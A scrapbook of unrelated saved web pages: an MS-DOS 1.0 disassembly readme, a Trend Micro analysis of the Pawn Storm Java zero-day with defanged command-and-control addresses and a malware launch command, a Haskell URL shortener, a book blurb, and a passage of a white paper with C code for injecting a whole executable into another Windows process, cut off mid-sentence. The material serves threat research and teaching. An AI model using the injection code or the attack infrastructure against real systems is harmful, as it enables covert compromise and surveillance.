SrvDeviceEvent |   |   |   |   |   |   |    
SrvEndTask |   |   |   |   |   |   |    
SrvExitWindowsEx |   |   |   |   |   |   |    
SrvGetSetShutdownBlockReason |   |   |   |   |   |   |    
SrvGetThreadConsoleDesktop |   |   |   |   |   |   |    
SrvInitSoundDriver |   |   |   |   |   |   |    
SrvLogon |   |   |   |   |   |   |    
SrvPlaySound |   |   |   |   |   |   |    
SrvRecordShutdownReason |   |   |   |   |   |   |    
SrvRegisterLogonProcess |   |   |   |   |   |   |    
SrvRegisterServicesProcess |   |   |   |   |   |   |    
SrvServiceMessageBox |   |   |   |   |   |   |    
SrvWin32HeapFail |   |   |   |   |   |   |    
SrvWin32HeapStat |   |   |   |   |   |   |    
  
  
  

# mist64/msdos1 · GitHub

**Created:**| _12/26/2014 9:13:32 PM_  
---|---  
**Updated:**| _12/26/2014 9:13:32 PM_  
**Author:**| __  
**Tags:**| _reversing_  
  

# MS-DOS 1.0

This is a collection of disassembled and commented source of parts of MS-DOS
1.0, which can be assembled back into \(almost\) identical binaries \(using
NASM\).

##  bootsect

The DOS 1.0 boot sector. See Reverse-Engineering DOS 1.0 – Part 1: The Boot
Sector for more info.

##  ibmbio

The DOS 1.0 I/O library. See Reverse-Engineering DOS 1.0 – Part 2: IBMBIO.COM
for more info.

##  ibmdos

The DOS 1.0 Kernel. There is no disassembly for it yet.

##  Author

The original code is Microsoft's. The disassembly was done by Michael Steil.

# An In-Depth Look at How Pawn Storm’s Java Zero-Day Was Used | Virus / malware / hacking / security news
**Created:**| _7/15/2015 1:35:31 PM_  
---|---  
**Updated:**| _7/15/2015 1:35:31 PM_  
**Author:**| __  
**Tags:**| _Java_  
  

<img src='img/Temp2_550.png' alt='Email, RSS' /> Follow

<img src='img/Temp2_551.png' alt='Pin It' />

Operation Pawn Storm is a campaign known to target military, embassy, and
defense contractor personnel from the United States and its allies. The
attackers behind Operation Pawn Storm have been active since at least 2007 and
they continue to launch new campaigns.

Over the past year or so, we have seen numerous techniques and tactics
employed by this campaign, such as the use of an iOS espionage app, and the
inclusion of new targets like the White House. Through our on-going
investigation and monitoring of this targeted attack campaign, we found
suspicious URLs that hosted a newly discovered zero-day exploit in Java now
identified by Oracle as CVE-2015-2590. This is the first time in nearly two
years that a new Java zero-day vulnerability was reported.

**_Infection sequence_**

Trend Micro has observed that an entity belonging to the target profile
received an email that contains the following URL:

  * hxxp://ausameetings\[.\]com/url?=DfS47Pi/2015annualmeeting/

It is worth noting that the spearphishing domain used is
_ausameetings\[.\]com_ , a play on the valid domain “ausameetings.org,” which
is a site for AUSA’s \(Association of the United States Army\) annual
exposition, commonly held in mid-October. The domain was only registered last
July 8, which implies a one-time use for a specific set of targets.

When assessing this URL, it was determined that the most probable infection
sequence is:

Spearphishing email –> web page with Java exploit –> PE file –> DLL file

Like all multi-stage infections, a successful execution of the previous stage
is required before moving to the next stage down. In Stage 1, the sequence is
initiated by clicking on the URL embedded within the victim’s spearphishing
email.

Once the Java exploit of Stage 1 is successful, it downloads the PE file
\(Stage 2\). Once the PE file is downloaded and executed it drops and runs the
DLL file \(Stage 3\) which is the final component to infect the machine with
SEDNIT.

The information that we have on each of these steps is as follows.

**Stage** | **Type** | **SHA1** | **File Name** | **File Size** | **Trend Micro Detection**  
---|---|---|---|---|---  
Stage 1 | Java Exploit | 95dc765700f5af406883 d07f165011d2ff8dd0fb | Spearphishing URL matching hxxp://ausameetings\[.\]com/url?=\[a-zA-Z0-9\]\{7\}/2015annualmeeting/ |  | JAVA\_DLOADR.EFD  
Stage 2 | PE | b4a515ef9de037f18d96 b9b0e48271180f5725b7 | Drops as _cormac.mcr_ End resulting file on host system as _vhgg5hkvn25.exe_ | 1,619,968 bytes | TROJ\_DROPPR.CXC  
Stage 3 | DLL | 21835aafe6d46840bb69 7e8b0d4aac06dec44f5b | api-ms-win-downlevel-profile-l1-1-0.dll | 40,960 bytes | TSPY\_FAKEMS.C  
Further information on each of these stages can be found in the sections
below.

_The report below outlines the traffic observed as part of the attack, not the
exploit itself. This blog will be updated once that information becomes
public._ _The following descriptions should allow the reader to help identify
traffic in their network that would indicate that such an exposure had an
occurred_ _. We strongly recommend that all readers roll out theOracle patch
as soon as possible._

**_Stage 1 – the Java exploit_**

The first stage of the infection sequence comes through a targeted,
spearphishing attempt against the victim, which is the observed method for
Operation Pawn Storm attacks.

The initial spearphishing URL is constructed similar to:

  * hxxp://ausameetings\[.\]com/url?=\[a-zA-Z0-9\]\{7\}/2015annualmeeting/

The web pages on this domain that were found to drop the Java zero-day exploit
include:

  * 1\_2015annualmeeting index.htm \(19,225 bytes\) – detected as HAQ
  * 3\_544306 index.htm \(4,077 bytes\) – detected as HAQ

The network traffic observed for the infection sequence of this stage is:

  1. Send the initial POST as per the spearphishing email to ausameetings\[.\]com, which includes the _2015annualmeeting_ URI path.
  2. Send an encoded POST call, which, when decoded, is the variable to construct the subsequently used URI path. This is particularly interesting as it appears that each URI path on the malicious server is customized by the victim’s infection, rather than static on the web server.
  3. The victim machine then does a variety of GET calls to pull down JPG, JNLP, and Java class files.
  4. If the Java class files cannot be found on the primarily domain \(_ausameetings\[.\]com_\), it appears to instead attempt to get these files from a hardcoded IP \(_87\[.\]236\[.\]215\[.\]132_\).
  5. Once the class files are downloaded, the victim machine then does a GET call to fetch the file _mcr_. This file is the PE file for Stage 2.

For completeness, the specific traffic calls observed relating to Stage 1
include the following:

**Result** | **Protocol** | **Host** | **URL** | **Size** | **Content-Type**  
---|---|---|---|---|---  
200 | HTTP | ausameetings\[.\]com | /url?=DfS47Pi/2015annualmeeting/ | 19,225 | text/html; charset=utf-8  
200 | HTTP | ausameetings\[.\]com | /VFlmsRH/7311/4388/558923/?p2=KlW2HlMf&c= BMjNiBV&recr=Wr1mI7&p3=364397021& as=SAUmj&c=GY9oCdQ& | 22 | text/html; charset=utf-8  
200 | HTTP | ausameetings\[.\]com | /url/544036/ | 4,077 | text/html; charset=utf-8  
200 | HTTP | ausameetings\[.\]com | /url/544036/line.jpg | 22,500 | text/html; charset=utf-8  
200 | HTTP | ausameetings\[.\]com | /url/544036/right.jpg | 97,247 | text/html; charset=utf-8  
200 | HTTP | ausameetings\[.\]com | /url/544036/init.jnlp | 562 | application/x-java-jnlp-file  
200 | HTTP | ausameetings\[.\]com | /url/544036/ | 4,077 | text/html; charset=utf-8  
200 | HTTP | ausameetings\[.\]com | /url/544036/jndi.properties | 125 | text/html; charset=utf-8  
404 | HTTP | ausameetings\[.\]com | /url/544036/Go.class | 0 | text/html; charset=utf-8  
200 | HTTP | 87\[.\]236\[.\]215\[.\]132 | /2/Go.class | 1,373 | text/html; charset=utf-8  
404 | HTTP | 87\[.\]236\[.\]215\[.\]132 | /crossdomain.xml | 0 | text/html; charset=utf-8  
200 | HTTP | 87\[.\]236\[.\]215\[.\]132 | /2/App.class | 7,552 | text/html; charset=utf-8  
200 | HTTP | 87\[.\]236\[.\]215\[.\]132 | /2/Help.class | 5,667 | text/html; charset=utf-8  
200 | HTTP | 87\[.\]236\[.\]215\[.\]132 | /2/PhantomSuper.class | 763 | text/html; charset=utf-8  
200 | HTTP | 87\[.\]236\[.\]215\[.\]132 | /2/ArrayReplace.class | 729 | text/html; charset=utf-8  
200 | HTTP | 87\[.\]236\[.\]215\[.\]132 | /2/App$PassHandleController.class | 980 | text/html; charset=utf-8  
200 | HTTP | 87\[.\]236\[.\]215\[.\]132 | /2/Converter.class | 2,820 | text/html; charset=utf-8  
200 | HTTP | 87\[.\]236\[.\]215\[.\]132 | /2/MyByteArrayInputStream.class | 1,282 | text/html; charset=utf-8  
404 | HTTP | 87\[.\]236\[.\]215\[.\]132 | /2/pkg/None2.class | 0 | text/html; charset=utf-8  
404 | HTTP | 87\[.\]236\[.\]215\[.\]132 | /2/pkg/None.class | 0 | text/html; charset=utf-8  
200 | HTTP | ausameetings\[.\]com | /url/544036/cormac.mcr | 1,619,968 | application/octet-stream  
Trend Micro detects these Java class files as JAVA\_DLOADR.EFD:

  * App.class \(7,552 bytes\)
  * Go.class \(1,373 bytes\)
  * Help.class \(5,667 bytes\)

**_Stage 2 – The PE file_**

Stage 2 involves downloading a PE file. Trend Micro detects this file as
TROJ\_DROPPR.CXC. The primary purpose of this PE is to drop and load the DLL
executable. It is downloaded as _Cormac.mcr_ , but once extracted, the file
name is converted into a randomized file name. It is installed into the
_%USERPROFILE%_ directory and then executed, creating a service by the same
name.

During its installation, a variety of other services also appear to be hooked,
including _lsass_ , _lsm_ , and ___conhost_ , amongst others.

Once the malware is executed, it will drop the Stage 3 DLL file with filename
_api-ms-win-downlevel-profile-l1-1-0.dll_ in the _%TEMP%_ directory. To load
the malware, it executes _rundll32.exe_ using the following command:

  * exe “%temp%/api-ms-win-downlevel-profile-l1-1-0.dll”,init

**_Stage 3 – The DLL file_**

This third stage involves a DLL file, which we detect as When manually
triggering the DLL \(in this instance, _%windir%\system32\RunDll32.exe
Command: “%windir%\system32\RunDll32.exe ”
“C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\ap i-ms-win-downlevel-
profile-l1-1-0.dll”,init_\), the following traffic was observed.

1 | POST /ESL/YxF8bM/f/MFS.pdf/?duJ=OJYKZRlzy1tddcpaKjU= HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: www.google.comContent-Length: 0 _Note: Assumed to be a local connectivity test traffic call._  
---|---  
2 | POST /RGLw/ofEK/5w2a.htm/?6=9SpyZtTPs1iQybJZ54k= HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 192.111.146.185Content-Length: 830  
3 | POST /hP/Bo/S/2z.htm/?WDC=TJrXZm1/FlgpeRdZXjk= HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: www.google.comContent-Length: 0 _Note: Assumed to be a local connectivity test traffic call._  
4 | POST /C9zl/LJ9.zip/?hP=mLgAZ7ldwVn9W8BYihs= HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 192.111.146.185Content-Length: 0  
5 | POST /k9/eR3/a/UE/eR.pdf/?bKC=xCCmnuXFZ6Chw2ah1oM= HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 192.111.146.185Content-Length: 26  
It bears stressing that we do not encourage using the data presented above as
IOCs for your own analysis. The network traffic generated by this stage was a
challenge to assess as it appears to have polymorphic capabilities in the
creation of URI paths utilized to pull down files. After assessing the samples
multiple times, each network traffic infection sequence appeared to be
different, no matter what sequence of testing was performed \(e.g., same
machine, different machines, different geographic IP space globally, etc.\).

After detailed network forensics of the traffic, it was determined that there
was no single stable URL path or URI query component \(URI path component,
file name, or URI query parameter\) that showed a consistent pattern \(either
same entry nor regex definable pattern\), and further reverse engineering was
required to determine the methods used to achieve this.

As a result of this additional analysis, it was determined that the URI path
is a random generated string with the following pattern:

  * ^/\(\[a-zA-Z0-9\]\{1,6\}/\)\{1,5\}\[a-zA-Z0-9\]\{1,7\}\\.\(xml|pdf|htm|zip\)/\?\[a-zA-Z0-9\]\{1,3\}=<Encoded ID>

<img src='img/Temp2_548.png' />

_Figure 1. Regex expression_

Included in the POST request is a data encoded with Base64 and XOR encryption.
The encoded data contains the following system information of the infected
machine:

  * OS Version
  * List of running processes
  * Hard Disk Drive Information
  * Volume Serial Number

TSPY\_FAKEMS.C connects to three C&C servers:

  * 192\[.\]111\[.\]146\[.\]185 \(direct to IP call\)
  * www\[.\]acledit\[.\]com
  * www\[.\]biocpl\[.\]org

After sending the encrypted data it will wait for a reply which is encrypted
by the same algorithm above.

Based on our investigation of Operation Pawn Storm, we know that the infection
happens in two stages:

  * In phase 1, opening the email attachment or clicking on the malicious URI initiates the download of the first level dropper, which installs the downloader component \(.DLL file\).
  * In phase 2, the downloader component communicates with a C&C server and downloads other components, and at the end of the chain a keylogger is installer. The keylogger sends data back to the C&C server.

As of writing, we have not succeeded in triggering phase 2, which will
download a fourth stage malware from the C&C servers. This fourth stage
malware is expected to be an encrypted executable file.

**_Victims of the Attack_**

A number of victims were identified during the course of our investigation.
The targets are in the United States or Canada, and those we were able to
identify via IP are big defense contractors, as typical for Operation
PawnStorm.

**_Countermeasures_**

Trend Micro is already able to protect users against this threat without any
necessary updates. The existing Sandbox with Script Analyzer engine, which is
part of Trend Micro™ Deep Discovery, can be used to detect this threat by its
behavior. The Browser Exploit Prevention feature in the Endpoint Security in
Trend Micro™ Smart Protection Suite detects the exploit once the user accesses
the URL that hosted it. Our Browser Exploit Prevention detects user systems
against exploits targeting browsers or related plugins.

Vulnerability protection in Trend Micro Deep Security protects user systems
from threats that may leverage this vulnerability with the following DPI rule:

  * 1006857 – Oracle Java SE Remote Code Execution Vulnerability

Oracle has also provided a security patch for the related vulnerability.

**_Indicators of Compromise_**

The following table summarizes the identified stable IOCs that can be used to
search for this attack. The “Precision” column indicates how close to the
direct parameter the indicator is, inversely indicating likelihood of
collateral false positives.

**Stage** | **Type** | **Indicator** | **Precision**  
---|---|---|---  
Infection Sequence – Stage 1 | Domain | ausameetings\[.\]com | High  
Infection Sequence – Stage 1 | Domain\_IP | 95\[.\]215\[.\]45\[.\]189 | Low  
Infection Sequence – Stage 1 | IP | 87\[.\]236\[.\]215\[.\]132 | High  
Infection Sequence – Stage 1 | URIPath\_FileName | ArrayReplace.class | Medium  
Infection Sequence – Stage 1 | URIPath\_FileName | App$PassHandleController.class | Medium  
Infection Sequence – Stage 1 | URIPath\_FileName | Converter.class | Medium  
Infection Sequence – Stage 1 | URIPath\_FileName | MyByteArrayInputStream.class | Medium  
Infection Sequence – Stage 1 | URIPath\_FileName | None2.class | Medium  
Infection Sequence – Stage 1 | URIPath\_FileName | None.class | Medium  
Infection Sequence – Stage 1->2 | URIPath\_FileName | Cormac.mcr | High  
Infection Sequence – Stage 3 |  | 192\[.\]111\[.\]146\[.\]185 | High  
Infection Sequence – Stage 3 | IP\_DirectCall | 37\[.\]187\[.\]116\[.\]240 | High  
Infection Sequence – Stage 3 | Domain | www\[.\]acledit\[.\]com | High  
Infection Sequence – Stage 3 | Domain | www\[.\]biocpl\[.\]org | High  
Post from: Trendlabs Security Intelligence Blog – by Trend Micro

An In-Depth Look at How Pawn Storm’s Java Zero-Day Was Used

<img src='img/Temp2_549.png' width='1' height='1' />

Read more: **An In-Depth Look at How Pawn Storm’s Java Zero-Day Was Used**

# bitemyapp - URL Shortener in 43 lines of Haskell

**Created:**| _8/24/2014 8:15:40 PM_  
---|---  
**Updated:**| _8/24/2014 8:15:40 PM_  
**Author:**| __  
**Tags:**| _haskell_  
  

Written in Scotty. Code is really bad, forgive me.

[code]

    module Main where
    
    import Control.Monad (replicateM)
    import Control.Monad.IO.Class (liftIO)
    import qualified Data.ByteString as BS
    import qualified Data.ByteString.Lazy as BL
    import qualified Data.ByteString.Char8 as BC
    import Data.Text.Encoding (decodeUtf8, encodeUtf8)
    import qualified Data.Text.Lazy as TL
    import qualified Database.Redis as R
    import Network.URI (parseURI)
    import qualified System.Random as SR
    import Web.Scotty
    
    alphaNum = ['A'..'Z'] ++ ['0'..'9']
    randomElement l = SR.randomRIO (0, ((length l) - 1)) >>= \d -> return (l !! d)
    
    shortyGen = replicateM 7 (randomElement alphaNum)
    
    saveURI conn shortURI uri = R.runRedis conn $ R.set shortURI uri
    getURI  conn shortURI     = R.runRedis conn $ R.get shortURI
    
    main = scotty 3000 $ do
      rConn <- liftIO (R.connect R.defaultConnectInfo)
      get "/" $ do
        uri <- param "uri"
        case parseURI (TL.unpack uri) of
          Just _  -> do
            shawty <- liftIO shortyGen
            let shorty = BC.pack shawty
            resp <- liftIO (saveURI rConn shorty (encodeUtf8 (TL.toStrict uri)))
            text $ TL.concat [(TL.pack (show resp)), " shorty is: ", TL.pack shawty]
          Nothing -> text (TL.concat [uri, " wasn't a url"])
      get "/:short" $ do
        short <- param "short"
        uri <- liftIO (getURI rConn short)
        case uri of
          Left reply -> text (TL.pack (show reply))
          Right mbBS -> case mbBS of
            Nothing -> text "uri not found"
            Just bs -> html $ TL.concat ["<a href=\"", tbs, "\">", tbs, "</a>"]
              where tbs = TL.fromStrict (decodeUtf8 bs)
[/code]

# Details for "Lighttpd"

**Created:**| _7/23/2009 11:14:27 AM_  
---|---  
**Updated:**| _7/23/2009 11:14:55 AM_  
**Author:**| __  
**Tags:**| _web Linux_  
  
Lighttpd  
  
  
  
Lighttpd is a secure, flexible, and most importantly, light web server
designed and optimized for high performance environments. It is open-source
and licensed under the revised BSD license. Its event-driven architecture
optimized for a large number of parallel connections, its advanced features
\(FastCGI, CGI, Auth, Output Compression, URL Rewriting, and many more\), and
its small memory footprint compared to other web servers, make Lighttpd the
perfect server software for every web server that suffers load problems or for
serving static media separately from dynamic content.  
  
Lighttpd supports the FastCGI, SCGI, and CGI interfaces to external programs,
permitting web applications written in any programming language to be used
with this server. Excellent performance for PHP, a particularly popular
language, has received special attention. Additionally, Lighttpd has become
popular within the Ruby on Rails community.  
  
The book teaches the reader to install, configure, and work with Lighttpd:  
  
\* Working with Lighttpd 's web application interfaces  
\* Configuring Lighttpd to use SSL  
\* Preventing attacks and minimizing damage if attacked  
\* Virtual hosting  
\* Migration from Apache to Lighttpd  
\* Setting up web applications and frameworks: Ruby on Rails, WordPress,
MediaWiki, trac,  
AjaxTerm, and more  
\* Understand and harness Lua/FastCGI  
\* Writing custom modules/plugins for the Lighttpd API

# PE injection explained - Sevagas

**Created:**| _9/23/2018 9:04:50 AM_  
---|---  
**Updated:**| _9/23/2018 9:04:50 AM_  
**Author:**| _wishi_  
**Tags:**| _pe injection_  
  

  

# PE injection explained

Advanced memory code injection technique

13 April 2014 H 21:17 Emeric Nasi **13** messages

* * *
**Note:** This white paper requires some knowledge on Windows system
programming and the Portable Executable format.  
**License :** Copyright Emeric Nasi, some rights reserved  
This work is licensed under a Creative Commons Attribution-NonCommercial-
ShareAlike 4.0 International License.  
  

Injecting code into other process memory is generally limited to shellcodes,
either to hide the shellcode from Antivirus or to inject a DLL. The method
described here is more powerful and enables to inject and run a complete
executable module inside another process memory.

_You can read the HTML version here or download the PDF version as uploaded
onpacketstorm: _

**PE\_Injection\_Explained.pdf**

## I Presentation.

### I.1 PE injection

This is not another article on DLL injection or shellcode injection \(already
a lot of is available online\). The method described here allows to inject the
complete image of the running process module in the memory of another process,
basically this means having two different codes running in the same process
\(or having one PE hidden inside another\).  
This technique is more powerful than classic code injection technique because
it does not require any shellcoding knowledge, the program code can be written
in regular C++ and relies on well documented Windows System and Runtime API.
Compared to DLL injection the main asset of PE injection is that you don’t
need several files, the main exe self inject inside another process and calls
itself in there.  
I don’t know who invented this method \(official researchers or
underground?\). The thing is, the technique is not very widespread on the
Internet and generally the source code lacks some explanation.  
Here I provide complete explanation of the technique and implementation source
code at the end of article.

### II.2 Method impact

I’ve run several tests around PE injection. From what I’ve tried it is
possible to inject pretty any code in the target process, I’ve tested with
success:

  * Socket creation and network access
  * Access to filesystem
  * Create threads
  * Access to system libraries
  * Access to common runtime libraries

In fact other stuff like remote control and keylogger did run good as well.

I’ve tested PE injection on Vista and Windows 7 without any problem.
Concerning architecture, PE injection works with both 32bit and 64bit softs.
However you can only inject a 32bit PE image inside a 32bit process and a
64bit PE image in a 64bit process.

I have also monitored the targeted process with Sysinternal ProcExp tool.
There is a memory growth after the injection phase and you can detect a new
thread running inside the process. It is yet very difficult to detect a module
image was injected in the target. This is because the injected module is not
properly loaded by the system. For example, an injected DLL loaded with
LoadLibrary will be referenced in ProcExp as one of the process modules. PE
injection just creates a bunch of data in process virtual memory. It could be
possible to check memory for unusual ’MZ’ or other part of PE headers, but
then PE header can also be scrambled when injected if stealth is required.

### II.3 The tools

Obviously you need a compiler and a debugger. I use Microsoft Visual Studio
express 2010 which is free and provides the source code editor, the compiler,
the linker, the debugger \(with a very practical code machine view\). If you
have full Visual Studio and crash another process with this injection
technique you have the possibility to investigate what happened by debugging
the failed process in Visual Studio \(this requires some habit into working
with assembly code and memory layout...\).  
I’ve also used another debugger WinDBG which is simple but very practical.  
The Sysinternal toolsuit is a must for system monitoring. I’ve especially used
the ProcExp tool.

## II Principles

### II.1 Writing code into distant process memory

Writing some code into another process memory is the easy part. Windows
provides systems API to Read and Write the memory of other processes.

First you need to get the PID of the process, you could enter this PID
yourself or use a method to retrieve the PID from a given process name.

Next, open the process. This is easily done by calling the OpenProcess
function provided by Kernel32 library.

Note : Opening another process is submitted to restrictions. Since Vista, a
few protection exists along with Microsoft UAC. The main protection for
process memory is Mandatory Integrity Control \(MIC\). MIC is a protection
method to control access to objects based on their "Integrity level". There
are 4 integrity levels:

  * Low Level for process which are restricted to access most of the system \(for example Internet explorer\)
  * Medium Level is the default for any process started by unprivileged users and also administrator users if UAC is enabled.
  * High level is for process running with administrator privileges
  * System level are ran by SYSTEM users, generally the level of system services and process requiring the highest protection.

For our concern that means the injector process will only be able to inject
into a process running with inferior or equal integrity level.  
For example, if UAC is activated, even if user account is administrator a
process will run at "Medium" integrity level \(unless is is specifically run
as administrator\). The "explorer.exe" process is permanent and running at
medium integrity level process so it makes an ideal target in our case, even
with UAC enabled.  
Discussing Windows system protections is not the main subject of this article,
you can find a lot of details using the MSDN description.

After opening the process we will allocate some memory in the distant process
so that we can insert the current process Image. This is done using the
VirtualAllocEx function. To calculate the amount of memory we need to
allocate, we can retrieve the size of the current process image by parsing
some PE header information.

[code]       1. /* Get image of current process module memory*/

      2. module = GetModuleHandle(NULL);
      3. /* Get module PE headers */
      4. PIMAGE_NT_HEADERS headers = (PIMAGE_NT_HEADERS)((LPBYTE)module + ((PIMAGE_DOS_HEADER)module)->e_lfanew);
      5. /* Get the size of the code we want to inject */
      6. DWORD moduleSize = headers->OptionalHeader.SizeOfImage;
    
    
[/code]

Writing into a process memory is done by calling the writeProcessMemory
function. This is pretty simple as you can see in the source code section.

### II.2 Handling binaries fixed addresses

The main issue with code injection is that the base address of the module will
change. Generally, when a process starts, the main module is loaded at address
0X00400000. When we inject our code in another process, the new base address
of our module will start some place not predictable in the distant process
virtual memory.  
In an .exe file, after compilation and link, all code and data addresses are
fixed and build using the virtual memory base address.  
For PE injection, we will need to change the base address of all data
described using full address pointer. For that, we are going to use the
process relocation section.

The relocation data is present in all 64bit executable and in all 32bit
compiled without fixed base address. The goal of the relocation table \(.reloc
segment\) is to enable Address Space Layout Randomization and to load DLL.
This is pretty handy since it will allow us to find and modify every place
where base addresses needs to be modified.

When a file is normally loaded by the system, if the preferred base address
cannot be used, the operating system will set a new base address to the
module. The system loader will then use the relocation table to recalculate
all absolute addresses in the code.  
In the PE injection method we use the same method as the system loader. We
establish delta values to calculate the new addresses to set in the distant
process. Then, thanks to the relocation table, we access to all full addresses
declared in the code and we modify them.

[code]       1. /* delta is offset of allocated memory in target process */

      2. delta = (DWORD_PTR)((LPBYTE)distantModuleMemorySpace - headers->OptionalHeader.ImageBase);
      3. /* olddelta is offset of image in current process */
      4. olddelta = (DWORD_PTR)((LPBYTE)module - headers->OptionalHeader.ImageBase);
    
    
[/code]

For the next step it is important to understand how relocation data is
organized.  
Relocation data are stored in a data directory.This directory can be access
through the use of IMAGE\_DIRECTORY\_ENTRY\_BASERELOC  
The relocation data directory is an array of relocation blocks which are
declared as IMAGE\_BASE\_RELOCATION structures.  
Here is the definition of that structure:

[code]       1. typedef struct _IMAGE_BASE_RELOCATION {

      2.    ULONG  VirtualAddress;
      3.    ULONG  SizeOfBlock;
      4. } IMAGE_BASE_RELOCATION, *PIMAGE_BASE_RELOCATION;
    
    
[/code]

The relocation blocks do not all have the same size, in fact a number of
16bits relocation descriptors are set in each relocation block. The
SizeOfBlock attribute of the structure gives the total size of the relocation
block.  
Here is a simple memory layout of a relocation data directory:

The VirtualAddress attribute is the base address of all the places which must
be fixed in the code. Each 16bit descriptor refers to a fixed address
somewhere in the code that should be changed as well as the method that should
be used by the system loader to modify it. The PE format describes about 10
different transformations that can be used to fix an address reference. These
transformations are described through the top 4 bits of each descriptor. The
transformation methods are ignored in the PE injection technique. The bottom
12bits are used to describe the offset into the VirtualAddress of the
containing relocation block.  
This means that "relocationBlock.VirtualAddress + Bottom 12bit of descriptor"
points to the address we need to fix in the code. So basically, we must go
through all relocation descriptors in all relocation blocks, and for each
descriptor, modify the pointed address to adapt it to the new base address in
the distant process.

[code]       1. /* Copy module image in temporary buffer */

      2. RtlCopyMemory(tmpBuffer, module, moduleSize);
      3. /* Get data of .reloc section */
      4. PIMAGE_DATA_DIRECTORY datadir = &headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
      5. /* Point to first relocation block copied in temporary buffer */
      6. PIMAGE_BASE_RELOCATION reloc = (PIMAGE_BASE_RELOCATION)(tmpBuffer + datadir->VirtualAddress);
      7. /* Browse all relocation blocks */
      8. while(reloc->VirtualAddress != 0) 
      9. {
      10. 	/* We check if the current block contains relocation descriptors, if not we skip to the next block */
      11. 	if (reloc->SizeOfBlock >= sizeof(IMAGE_BASE_RELOCATION)) 
      12. 	{
      13. 		/* We count the number of relocation descriptors */
      14. 		DWORD relocDescNb = (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
      15. 		/* relocDescList is a pointer to first relocation descriptor */
      16. 		LPWORD relocDescList = (LPWORD)((LPBYTE)reloc + sizeof(IMAGE_BASE_RELOCATION));
      17. 		/* For each descriptor */
      18. 		for (i = 0; i < relocDescNb; i++) 
      19. 		{
      20. 			if (relocDescList[i] > 0) 
      21. 			{
      22. 				/* Locate data that must be reallocated in buffer (data being an address we use pointer of pointer) */
      23. 				/* reloc->VirtualAddress + (0x0FFF & (list[i])) -> add botom 12 bit to block virtual address */
      24. 				DWORD_PTR *p = (DWORD_PTR *)(tmpBuffer + (reloc->VirtualAddress + (0x0FFF & (relocDescList[i]))));
      25. 				/* Change the offset to adapt to injected module base address */
      26. 				*p -= olddelta;
      27. 				*p += delta;
      28. 			}
      29. 		}
      30. 	}
      31. 	/* Set reloc pointer to the next relocation block */
      32. 	 reloc = (PIMAGE_BASE_RELOCATION)((LPBYTE)reloc + reloc->SizeOfBlock);
      33.  }
    
    
[/code]

### II.3 Calling our code in remote process

Once the code is injected, we can attempt to call its functions.  
The first issue we face is that we need to calculate the address of the
function we want to call in the remote process.

[code]       1. /* Calculate the address of routine we want to call in the
target process */

      2. /* The new address is:
      3. Start address of copied image in target process + Offset of routine in copied image */
      4. LPTHREAD_START_ROUTINE remoteThread = (LPTHREAD_START_ROUTINE)((LPBYTE)injectedModule + (DWORD_PTR)((LPBYTE)callRoutine - (LPBYTE)module));
      5. /* Call the distant routine in a remote thread	*/
      6. thread = CreateRemoteThread(proc, NULL, 0, remoteThread, NULL, 0, NULL);
    
    
[/code]

Calling the function itself can be done in several ways. These techniques are
the same that are employed for DLL injection.  
Here are three techniques I tested successfully:

  * CreateRemoteThread -> Call the the CreateRemoteThread function from Kernel32 library. Very simple to use and fully documented.
  * NtCreateThreadEx-> Like CreateRemoteThread, consist into calling a thread in a distant process. The difference is NtCreateThreadEx is declared in ntdll.dll module and is not documented so it is not as straightforward to use.
  * Suspend, Inject, Resume. This method consists into suspending all threads inside the target process, changing the context so that next instruction points to our injected code, and finally resume all threads. The drawback of this method is it doesn’t seem to work with all process \(for example I couldn’t make it work with explorer.exe\).

To focus on the code injection itself, I will only provide the
CreateRemoteThread method in the implementation code example section. Feel
free to email me if you want more complete source code including all three
techniques \(you can also easily find them on the Internet\).

## III Implementation challenges

### III.1 Heap and stack variables

The relocation table will do the trick to modify all pointer linked in the
executable code but won’t be useful to adapt any data declared on the Stack or
the Heap after the process has started.  
This is why the code must not rely on any dynamically allocated space of any
local variables that where initialized before the PE image is injected.  
Once the image is injected there is no problem to use the Stack and the Heap
of the host process. Static variables, global variables, and constants are
initialized in PE image segments so they are not concerned by this issue \(see
PE memory layout in Code segment encryption article\).

### III.2 Cope with Windows Runtime Library issues

The Microsoft Runtime Library contains all C standard functions like malloc,
strncpy, printf and is included by default in most C and C++ programs built
for windows. It is automatically called by Visual Studio compiler, either as a
static library or a DLL loaded at runtime.  
The problem is that if you want to rely on the Runtime Library, a lot of data
is allocated even before the main\(\) function is called. This is because in
Windows application, the default entry point of a program is not main but
mainCRTStartup\(\). When this function is called, it will setup the
environment so the application can be runned in a safe way \(enable
multithread locks, allocate local heap, parse parameters, etc.\). All these
data are set using the process base address and there are so many it would be
too painful to modify them all before injecting them into another process.  
So you have basically two solutions here:

  * You don’t use the Common Runtime Library
  * You initialize the common runtime library after the code is injected.

In both case you have to define a new entry point for the code. This can be
done using pragma definition or using Visual Studio linker options.

If you don’t want to use the Common Runtime library \(and you may not want it
for a lot of reasons, like 300k of code...\) you are going to have to face a
few issues. You can do a lot of stuff using the system libraries but you will
miss not having basic functions like printf, malloc or strncpy. I suggest you
build your own tiny CRT and implement all the useful function you will need in
your code. I have personally grab a lot of sources to have my own CRT, I would
be glad to share it with others working on the same topic, especially if
someone finds a nice way to implement operations on 64bit integers.  
Avoiding runtime in Visual studio can be done using the /NODEFAULTLIB linker
option.

The second method has a bigger footprint but allows to do anything you want
\(once CRT is initialized\). It is however a bit tricky to use. Why? Because
in regular windows program, the first function called is not main but
mainCRTStartup\(\). This function initializes runtime library and then calls
the main function in the code. Also this function is declared only in runtime
library.

What do we need to do:

  1. First, you need a main\(\) function, it will be automatically called by mainCRTStartup and it will be entry point of what you want to play in the distant process. 
  2. You also need to declare a function which will call mainCRTStartup\(\) in the remote process, lets call it entryThread\(\). It will be started as a remote thread. 
  3. Finally you need a program entry point, used to call the code injection routines, and the remote thread function, lets call it entryPoint\(\).

Here is the call stack of what will happen:

This method is the one presented the source code implementation section.

### III.2 Weird breakpoint instructions in main function

During my tests on PE injections I’ve encountered a strange issue when
attempting to call a "main\(\)" function in the remote process. It seems that
a breakpoint instruction is automatically added at the beginning of all any
